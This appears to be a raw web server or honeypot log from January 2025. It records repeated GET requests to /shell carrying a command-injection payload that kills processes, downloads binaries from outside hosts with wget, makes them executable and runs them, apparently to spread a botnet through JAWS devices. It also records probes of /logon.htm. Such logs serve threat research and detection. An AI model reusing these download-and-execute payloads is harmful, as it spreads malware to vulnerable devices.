Jan. 15, 2025, 8:33 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 8:33 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 8:32 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 8:32 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:23 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:23 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:17 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:17 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:08 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 7:08 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 6:59 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 15, 2025, 6:59 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/dihvbe.theeyefirewall.su/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/dihvbe.theeyefirewall.su/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 12:03 p.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 11:32 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 11:10 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 10:45 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 9:59 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 10, 2025, 9:54 a.m. —
GET
/shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+vevhea4+ivwebcda7;wget+http:/\x5C/141.98.10.40/ivwebcda7;chmod+777+ivwebcda7;./ivwebcda7+jaws;wget+http:/\x5C/141.98.10.40/vevhea4;chmod+777+vevhea4;./vevhea4+jaws
→ 301
User-Agent: KrebsOnSecurity
Jan. 6, 2025, 7:33 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 6, 2025, 7:28 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 6, 2025, 7:08 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 6, 2025, 6:43 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 5, 2025, 7:14 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 5, 2025, 6:48 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 12:33 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 12:31 p.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 8:38 a.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 8:30 a.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 6:03 a.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World
Jan. 4, 2025, 2:37 a.m. —
GET
/logon.htm
→ 301
User-Agent: Hello World